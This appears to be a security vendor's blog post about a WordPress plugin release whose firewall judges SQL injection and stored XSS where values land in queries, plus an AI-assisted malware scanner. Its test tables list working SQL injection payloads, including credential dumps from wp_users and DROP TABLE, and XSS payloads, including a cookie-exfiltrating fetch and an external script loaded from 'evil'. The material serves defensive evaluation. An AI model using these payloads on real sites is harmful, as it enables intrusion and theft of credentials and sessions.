Almost every WordPress firewall makes its decision at the same moment: when the request arrives. It looks at the URL, the form fields, the cookies, and asks one question. Does any of this look like an attack? A quote followed by OR 1=1, a <script> tag in a field, a ../ in a path. If yes, block. If no, let it through and hope.
That question has two problems, and they pull in opposite directions. The first is that “looks like an attack” is a list, and the list is always a little behind the attackers. A new encoding, a new plugin bug that needs no strange-looking payload at all, and the request walks past. The second is that plenty of perfectly ordinary traffic looks like an attack: a contact form message that says “I keep getting Error 1=1 on checkout”, a security blog saving a post that quotes an injection example, a developer pasting jQuery into a comment. Tighten the list to catch more and you start locking out your own editors. Loosen it to stop the false alarms and the window for real attacks opens wider.
In the 0.6.4 release of Must-Have Security we stopped asking that question for SQL injection and stored cross-site scripting. Instead of guessing at the front door what a value might be, the firewall waits and looks at what it became. This post explains why that one change catches injection attacks it has never seen before, why it does not get in the way of people writing content, and how the same “decide on facts, not on resemblance” idea runs through the AI-backed malware scanner on the other side of the plugin.
First, we measured both approaches, on ourselves
Before building the new layer, we tested the request classifier that Must-Have Security already had: the kind of pattern matching every web application firewall does, tuned the way we thought was reasonable. We threw a set of SQL injection payloads at it, a set of XSS payloads, and a set of harmless requests that a normal WordPress site sees every day. That last set is the part most vendors skip. Then we ran the exact same three sets against the 0.6.4 gate, this time through a deliberately vulnerable test plugin that pastes request values into queries the way badly written plugins really do, so that every payload had a genuine hole to go through.
| Test set | Request-side pattern matching | 0.6.4 gate, judged in the query |
|---|---|---|
| 16 SQL injection payloads | 8 caught | 16 caught |
| 12 stored XSS payloads | 0 caught | 12 caught |
| 17 ordinary requests (searches, comments, checkout and contact-form fields) | 4 wrongly refused | 0 wrongly refused |
Show the payloads and requests we used
All requests were sent anonymously to a test install running Must-Have Security 0.6.4 with the gate in block mode, through a deliberately vulnerable plugin that interpolates the value exactly as shown. The same sets were used for the pattern-matching column.
SQL injection (16)
| Payload | Sent into | Result |
|---|---|---|
1 UNION SELECT user_login,user_pass FROM wp_users | unescaped numeric comparison | refused before the query ran |
1 UNION SELECT user_login,user_pass FROM wp_users | unescaped numeric comparison | refused before the query ran |
1/**/UNION/**/SELECT/**/1-- | unescaped numeric comparison | refused before the query ran |
1 UNI/**/ON SEL/**/ECT 1 | unescaped numeric comparison | refused before the query ran |
1 AND SLEEP(5) | unescaped numeric comparison | refused before the query ran |
1' AND IF(1=1,SLEEP(5),0)-- - | unescaped string comparison | refused before the query ran |
1' OR 1=1-- - | unescaped string comparison | refused before the query ran |
1' OR 2=2-- - | unescaped string comparison | refused before the query ran |
1' OR 'a'='a | unescaped string comparison | refused before the query ran |
1'; DROP TABLE wp_users;-- - | unescaped string comparison | refused before the query ran |
1 AND EXTRACTVALUE(1,CONCAT(0x7e,version())) | unescaped numeric comparison | refused before the query ran |
1 AND UPDATEXML(1,CONCAT(0x7e,user()),1) | unescaped numeric comparison | refused before the query ran |
1' ORDER BY 10-- - | unescaped string comparison | refused before the query ran |
(SELECT 1 FROM wp_users WHERE id=1) | unescaped numeric comparison | refused before the query ran |
1 AND ascii(substring((select user()),1,1))>64 | unescaped numeric comparison | refused before the query ran |
1' UNION SELECT 1,2,3-- - | unescaped string comparison via POST body | refused before the query ran |
Stored XSS (12)
| Payload | Sent into | Result |
|---|---|---|
<script>alert(1)</script> | comment written by an unfiltered insert | refused (block mode) |
<img src=x onerror=alert(1)> | comment written by an unfiltered insert | refused (block mode) |
<svg onload=alert(1)> | comment written by an unfiltered insert | refused (block mode) |
<a href="javascript:alert(1)">x</a> | comment written by an unfiltered insert | refused (block mode) |
<body onpageshow=alert(1)> | comment written by an unfiltered insert | refused (block mode) |
<details open ontoggle=alert(1)> | comment written by an unfiltered insert | refused (block mode) |
<iframe srcdoc="<script>alert(1)</script>"> | comment written by an unfiltered insert | refused (block mode) |
<a href="javascript:alert(1)"> | comment written by an unfiltered insert | refused (block mode) |
<img src=x onerror = alert(1)> | comment written by an unfiltered insert | refused (block mode) |
<ScRiPt>alert(1)</sCrIpT> | comment written by an unfiltered insert | refused (block mode) |
<img src=x onerror="fetch('//x/?c='+document.cookie)"> | comment written by an unfiltered insert | refused (block mode) |
<script src=//evil/x.js></script> | comment written by an unfiltered insert | refused (block mode) |
Ordinary requests (17)
| Request value | Sent into | Result |
|---|---|---|
select the union of two sets | site search (?s=) | passed |
how to update where order by | site search (?s=) | passed |
is it 1 or 1 | site search (?s=) | passed |
[email protected] | site search (?s=) | passed |
<b>bold</b> text | site search (?s=) | passed |
javascript tutorial | site search (?s=) | passed |
onload event | site search (?s=) | passed |
https://example.com/wp-admin/ | wp-login.php redirect_to | passed |
/wp-admin/edit.php?post_type=page | _wp_http_referer on the front page | passed |
Try SELECT * FROM posts WHERE id = 1 OR status='draft' and see | comment written by an unfiltered insert | passed |
Use `$(document).ready()` in jQuery and `system("ls")` in PHP | comment written by an unfiltered insert | passed |
See https://example.com/../docs and data:text is a URI scheme | comment written by an unfiltered insert | passed |
O'Brien's Lane 12; Please leave at door; ring bell | comment written by an unfiltered insert | passed |
Hi, my site shows 'Error 1=1' when I select a product. Can you help? | comment written by an unfiltered insert | passed |
union jack flag | REST search endpoint | passed |
2*(3+4) | prepared statement (control) | passed |
C:\Users\Peter\..\Documents | prepared statement (control) | passed |
With pattern matching, half the injections got through, none of the XSS was recognised, and nearly a quarter of the legitimate requests were blocked. One of them because a customer’s message contained the words “Error 1=1”, another because a comment contained $(. You can push those numbers around by adding rules, but you cannot make both columns good at the same time, because the classifier only ever sees bytes, and the same bytes mean different things depending on where they end up. The gate does not have that trade-off, and the rest of this post is about why.
This is not just our problem. Patchstack’s 2026 report ran its own penetration tests against the standard protections sites rely on, host firewalls, CDN rules and the like, and found they stopped 12% of WordPress-specific vulnerability attacks. Its explanation for the most exploited category, broken access control, is worth quoting: the exploitation “looks like normal authenticated traffic, with no recognisable injection pattern”. A request filter cannot block what it cannot recognise, and in 2025, 46% of disclosed vulnerabilities had no patch available on the day they went public.
The difference: judging the value where it is used, not where it arrives
Here is the whole idea in one picture. Imagine the request as a letter. A pattern-matching firewall reads the letter at the mailbox and tries to decide whether the writer is dangerous from the wording. Our gate instead follows the letter to the desk where it is actually opened and used, the moment WordPress turns it into a database query, and asks a much simpler question: did this value stay a value, or did it become part of the command?
An SQL-injection tutorial saved in a blog post and a real SQL injection can be the exact same bytes. What differs is not what they look like. It is where they land.
When a plugin is written properly, whatever a visitor typed ends up inside the query as a quoted, escaped piece of data. It can contain quotes, semicolons, the word DROP, an entire attack example from a textbook. It does not matter, because the database will treat it as text. When a plugin is written badly, the visitor’s text is glued into the query as-is, and the moment it carries SQL structure of its own, it stops being data and starts being instructions. That second case is what an injection is. There is nothing to guess: either the value is sitting where the application put it, or it has broken out.
Must-Have Security hooks the point where every query goes through WordPress’s database layer, before it runs. On a request that brought nothing suspicious, which is almost all of them, the check costs a cheap look and does nothing else. When a request does carry something that deserves a look, the gate finds each such value in the finished statement. Inside a quoted literal, escaped: data, whatever it contains. Outside any literal, carrying structure the plugin did not write: an injection that has already succeeded in getting past the application. The query is dropped unexecuted, the request gets a 403, and the address is counted as a repeat offender the same way the rest of the firewall does it. The one exception is the address the administrator is working from, so you cannot lock yourself out while testing.
Two details matter for trust. The site’s own WHERE 1=1, which half the plugins on earth write, never fires, because the gate only searches for what the request brought in. And an attacker cannot hide the payload behind URL encoding, HTML entities or similar tricks, because the gate looks for the value in every spelling it could have been consumed under, and a trace that only appears after decoding is itself a mark against the request.
Why this catches a zero-day
Notice what is missing from the description above: any knowledge of the vulnerable plugin. The gate does not know which plugin has the bug, which parameter is unescaped, or what the payload for it looks like. It does not need to. Whatever the flaw, if a request value ends up as SQL structure, that is the outcome the attacker was after, and that is the outcome the gate refuses. A vulnerability disclosed this morning, one that nobody has written a rule for yet, one in a plugin you installed last week: they all end at the same desk.
Compare that with the signature model, where the median time from public disclosure to mass exploitation is now five hours, and where the rule for a new vulnerability has to be written, tested and shipped inside that window. Our gate was written once. It has no window.
The test plugin behind the table above is the honest way to check this. One endpoint pasted a parameter straight into a string comparison, one did the same into a numeric one, one inserted visitor text into a comment, and one used a proper prepared statement as the control. The sixteen payloads covered the usual families: union-based, boolean, time-based, error-based, stacked queries, ORDER BY injection, a subselect, comment-obfuscated and URL-encoded spellings, and one sent in a POST body. Every one of them was refused before the query ran. The same payloads sent to the correctly written endpoint went through, because there the value stayed data. The control endpoint is the point: the gate does not punish a payload, it punishes a payload that worked.
We also ran the payloads through the paths a real WordPress site uses every day, with the gate in blocking mode:
- an administrator saving a post through the REST API with a full SQL-injection tutorial and a
<script>tag in the content: saved, script and all, because an administrator may write markup; - a contributor saving the same post: saved, with WordPress’s own content filter stripping what it always strips;
- an anonymous visitor posting a comment with the tutorial text, a script tag, and the name O’Brien: stored, filtered by WordPress as usual;
- site searches with every payload in the set: normal results pages.
Not one of them tripped the gate. That is the number we cared about most, because a firewall that blocks the attacks but also blocks the site is a firewall that gets switched off.
Stored XSS without locking your editors out
Stored cross-site scripting, a script planted in a comment, a profile field or a post which then runs in every visitor’s browser, is where request filters produce their most irritating false positives. The reason is that markup is not inherently bad. An editor pasting an embed code, a page builder saving inline handlers by the megabyte, a tutorial explaining what a script tag is: all of these contain the “dangerous” strings, and all of them are legitimate. A filter that fires on the string alone cannot tell them apart, which is why so many sites end up with the XSS rules disabled, or with an exception for every editor’s IP.
The gate has an advantage the request filter never will: by the time it runs, WordPress is fully loaded, and it knows who is really making the request. Not what a cookie claims, but the user record and its actual capabilities. WordPress already has a rule about who may write live markup, the unfiltered_html capability. Administrators have it, and on a single site so do editors. Contributors, subscribers, customers and anonymous commenters do not. So the rule is simply this: a construct that would execute in a browser (a script tag, an event handler inside a tag, a javascript: URL in an attribute) being written into the database by someone WordPress says may not write markup is a stored XSS attempt. Everything else is content.
In the measurement above, all twelve XSS payloads were written by an anonymous request through the vulnerable test plugin, which stores them without any filtering, the way a careless form or gallery plugin would. All twelve were refused: the plain script tag, the mixed-case one, the external script source, the image and SVG handlers, the spaced-out handler, the javascript: link, the entity-encoded scheme, the frame with an inline document, the cookie stealer. What that means for the people who use your site:
- An editor with
unfiltered_htmlnotices nothing. They can paste embeds, scripts and widgets exactly as before. WordPress already trusts them with markup, and we do not second-guess that. - An author or contributor without it can still write anything they like: links, images, code samples, a tutorial that shows a script tag as escaped text. The gate looks for a construct that would run, not for words that sound scary. The escaped example in a tutorial is text; only the tag that would actually execute counts.
- A comment or a form submission from a stranger that carries a live script is where the gate acts.
And when it does act, you choose how. Refuse drops the write and answers 403, like an injection. Defuse is gentler: the row is saved with the executing part disarmed. The text survives, the markup survives, the script simply cannot run. The commenter sees their comment; the visitor’s browser sees inert text. For a shop or a busy community site, where a false 403 costs a customer and a silently defused script costs nothing, that is usually the mode to run.
One rule we hold ourselves to: no substring rules, ever. Not “contains script”, not “contains SELECT”. The single thing this layer knows that a request filter cannot is placement plus the real role, and a rule that ignores placement would just be the request filter’s false positive moved somewhere worse.
Where the gate deliberately stops
The gate sees what goes through WordPress’s database layer. A plugin that opens its own raw connection to MySQL and bypasses that layer is outside its view, and so is reflected XSS, which never touches the database at all. Path traversal and object injection go into file includes and unserialize calls rather than into queries, so those stay with the request classifier, which still runs in front. And the SQL gate judges queries, not files: an injection that somehow got through anyway still cannot turn itself into a backdoor, because the write firewall refuses executable writes on a separate, deterministic policy that never depends on the database. The administrator role lives in the database, and an injection can create one, which is precisely why nothing that decides about files trusts it.
Like every enforcing part of the plugin, the gate can run in monitor mode first: it records what it would have refused, with the parameter and the query, and you turn on blocking once the log has been quiet about your own traffic for a while.
The scanner: why an AI can find the backdoors a signature cannot
The firewall stops a payload from becoming a file or a query. The scanner is the other half: it walks what is already on disk (a webshell that arrived over FTP, a plugin that shipped with a backdoor, a modified core file, a PHP payload hiding inside a JPEG) and it has the same design principle as the gate. It does not ask whether a file resembles known malware. It asks what the code in the file can do.
Traditional malware scanners are signature databases: a hash or a text pattern for each known bad file. They are fast and they are exact, and they are blind to anything they have not seen. A backdoor author knows this, which is why real-world backdoors do not look like the examples in tutorials. The function name is assembled from character codes at runtime. The payload is base64 inside gzip inside a string that is reversed. The executor is a variable that is only set from a value stored in the database, so the file itself contains nothing that a pattern would match. Change one byte and the hash is new; rename one variable and the pattern is gone.
Our scanner reads files the way a code reviewer does, in stages, cheapest first:
- Local pre-filter, on your server. Files with no way to execute anything (media, fonts, plain text) are cleared without leaving the site. Nothing is sent.
- Reputation by hash. A file whose exact content has already been judged for another site gets that verdict from a lookup; the content never travels. Core files are checked against WordPress’s official checksums for your version and language.
- A classifier that reads PHP as code, not as text. It works on the parsed tokens, so a scary word inside a comment or a string literal is not a signal, and it follows where input goes: from the request, or from stored data, into variables, into function arguments, into anything that can execute, include, write a file, send data out or hand over an account. A file where no such mechanism is reachable from any input is clean, and the classifier can prove it. A file where a mechanism is fed directly by the request is malicious, and no second opinion can overturn that.
- The AI, for what the classifier cannot decide. An executor fed from stored data, obfuscation feeding a call, a file write carrying visitor input, an account hand-over with no verification in sight: mechanisms whose input the static analysis cannot trace. These go to a large reasoning model that reads the whole file, up to 3 MB, and returns a verdict with its reasoning and the malware family.
The burden of proof is on “good”. Anything the analysis cannot settle goes up a tier, never down, and every release is gated by two corpora: a set of shells, droppers, stealers and obfuscated variants that must never come out clean, and a set of ordinary plugins and libraries that must never come out anything but clean. On a real 10,688-file site the classifier sent 0.76% of files to the AI and produced zero false “malicious” verdicts on its own rules. The AI is not the first line. It is the specialist you call for the hard cases, and because the funnel in front of it is so tight, it can afford to read every line of each of them.
That is what makes it good at the tricky ones. A reasoning model does not care that the function name was built from chr() calls. It reads the code, works out what the name is, and sees the executor. It notices when a “cache helper” writes whatever it receives to a file and then includes it. It recognises a login bypass that sets an authentication cookie for user 1 without ever checking a password. It spots a card skimmer in a JavaScript file that decodes a string, hooks the checkout form and posts the fields to a host that is not yours. And a file whose modification date has been rewound to look old, a classic trick known as timestomping, is sent to the AI regardless of what anything else says, because a file that lies about its age has something to hide.
The same reasoning is available, optionally, for the database. The scan’s third pass reads options, users, posts and meta for the shapes a compromise leaves there: a script parked in a setting for a loader to run, a hidden block of spam links, an administrator under a table prefix your site never reads. By default it does so entirely locally, because a database is personal data. With the optional second opinion switched on, only the flagged candidates are sent, as a window of at most 8 KB around the match, never the row. On our own honeypot site the difference was stark. Without the AI, a real SEO-redirect payload we had planted was invisible to the narrow local rules while an innocent print button was flagged for review. With it, the redirect and a gadget payload came back malicious at 99% and the print button was cleared. That is the trade the AI is for: fewer misses and fewer false alarms at once, which a rule list cannot give you.
There is one more place the scanner looks that most do not: the moment right after you update a plugin or theme. That is the one time a site deliberately takes executable code from somebody else and starts running it, and a compromised developer account or a plugin sold to a new owner is a real attack path. So a minute after an update, the folder that just arrived is scanned on its own, every file in it, JavaScript included, and you get an e-mail if anything in it is malicious.
What the scanner will not do, on purpose
An AI verdict is a judgement, and judgements can be wrong. We have already seen it call a debug leftover in a well-known cryptography library malicious, and we overrode it by hand. So the scanner only flags. It never deletes or moves a file on its own; removing a confirmed malicious file is a button that asks you for a fresh second factor, and a bulk delete driven by a list of AI opinions does not exist, because that is how a single false positive takes a site down. It does not send anything until an administrator has turned it on and acknowledged that file content leaves the site, it never reads your configuration files, keys or backups, and it does not judge what JavaScript does in the browser beyond the skimmer shape, verify plugins against their repositories, or look inside archives. The documentation lists all of this in more detail than a blog post should.
Frequently asked questions
Do I still need a CDN firewall or a request-level WAF?
Keep it if you have it. A request-level filter is still the right tool for volume: bots, scrapers, brute force, floods, and the traversal and include attacks that never reach a query. The two do not fight. What the gate adds is the part a request filter is structurally bad at: injections without a recognisable pattern, and content that looks like an attack but is not.
Will it break my site?
Run it in monitor mode first, as with every enforcing layer in the plugin, and read the database log. In our testing against the paths a real site uses every day (post saves, comments, searches, checkout and contact-form fields) it has not refused a single legitimate write. The design reason is the one this whole post is about: it does not refuse on resemblance, only on a value that has actually broken out of its literal, or a live script written by someone WordPress itself says may not write markup.
Does my content leave the site?
The SQL and XSS gate runs entirely on your server and sends nothing anywhere. The file scanner sends content only with your explicit consent, only for files that nothing cheaper could decide, and never for the exclusion list. The database pass is local unless you switch on the second opinion, and even then it sends a window around a flagged value, never a table.
What does it cost in performance?
On an ordinary request the gate does a cheap check and stops; the placement analysis only runs for a request that brought a value worth following, which is rare. The scanner runs in the background in short batches and, thanks to the funnel, a full first scan of a typical site needs a few dozen AI reviews, not thousands.
Which version has this?
The SQL and stored-XSS gate shipped in 0.6.4 on 22 September 2026; the AI-backed scanner, the classifier and the after-update check have been there since the 0.5 and 0.6 releases. The changelog has the details.
The takeaway
Pattern matching at the front door will always be a race between the rule list and the attackers, and it charges the losers of that race twice: once in the attacks it misses and once in the editors it blocks. Judging a value where it is actually used ends the race, because there is nothing to recognise, only a fact about where the bytes landed and who put them there. The same principle is what makes the scanner worth trusting: the classifier proves what it can, and the AI reads whole files for the rest, so a backdoor that has never been seen before is still a backdoor doing backdoor things.
If you are choosing a security plugin, our comparison of Wordfence alternatives is a fair place to start, and it says openly which parts of the problem each product solves. If you are cleaning up after a hack, this walkthrough uses the scanner described here and two other routes. And if you want the part of the story this post skipped, how the write firewall stops a payload from ever becoming a file, that is here.
Keep reading in this hub
- Blocking the file write: how Must-Have Security stops malware it has never seen
- How to clean a hacked WordPress site: 3 ways to remove malware
- Wordfence alternatives for WordPress in 2026
- WordPress login beyond the password: 2FA, passkeys, magic links and social login compared
- Temporary admin access in WordPress

